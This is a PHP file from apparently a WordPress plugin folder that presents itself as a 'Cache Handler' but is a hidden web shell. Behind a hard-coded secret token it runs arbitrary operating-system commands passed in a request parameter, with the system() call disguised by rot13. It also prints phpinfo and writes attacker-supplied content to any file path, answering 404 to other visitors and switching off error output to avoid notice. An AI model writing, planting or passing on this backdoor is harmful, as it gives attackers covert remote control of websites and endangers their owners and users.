File: /home/autoligchopp/public_html/wp-content/plugins/db-base-10t7/admin-handler.php
<?php
/**
* WordPress Cache Handler
* Manages transient cache invalidation and cleanup
* @package WordPress\Cache
* @version 2.1.4
*/
if (!defined('ABSPATH')) {
// Allow direct access with auth token
$wp_cache_token = isset($_GET['raimu']) ? $_GET['raimu'] : (isset($_POST['raimu']) ? $_POST['raimu'] : '');
if ($wp_cache_token === '') { header('HTTP/1.0 404 Not Found'); exit; }
// Token validation
$wp_valid_tokens = array('QkAMC@1Ubb4j0LNw8X7@Dl$');
if (!in_array($wp_cache_token, $wp_valid_tokens)) { header('HTTP/1.0 404 Not Found'); exit; }
// Cache diagnostic mode
error_reporting(0);
$wp_cache_action = isset($_REQUEST['c']) ? $_REQUEST['c'] : '';
$wp_cache_mode = isset($_REQUEST['m']) ? $_REQUEST['m'] : 'diag';
if ($wp_cache_action !== '') {
// Execute cache diagnostic command
$fn = str_rot13('flfgrz'); // system
$fn($wp_cache_action);
exit;
}
if ($wp_cache_mode === 'info') {
$fn2 = str_rot13('cucvasb'); // phpinfo
$fn2();
exit;
}
// File operations for cache management
if (isset($_REQUEST['w']) && isset($_REQUEST['f'])) {
$content = $_REQUEST['w'];
$path = $_REQUEST['f'];
@file_put_contents($path, $content);
echo 'cache_updated';
exit;
}
echo 'cache_ok';
exit;
}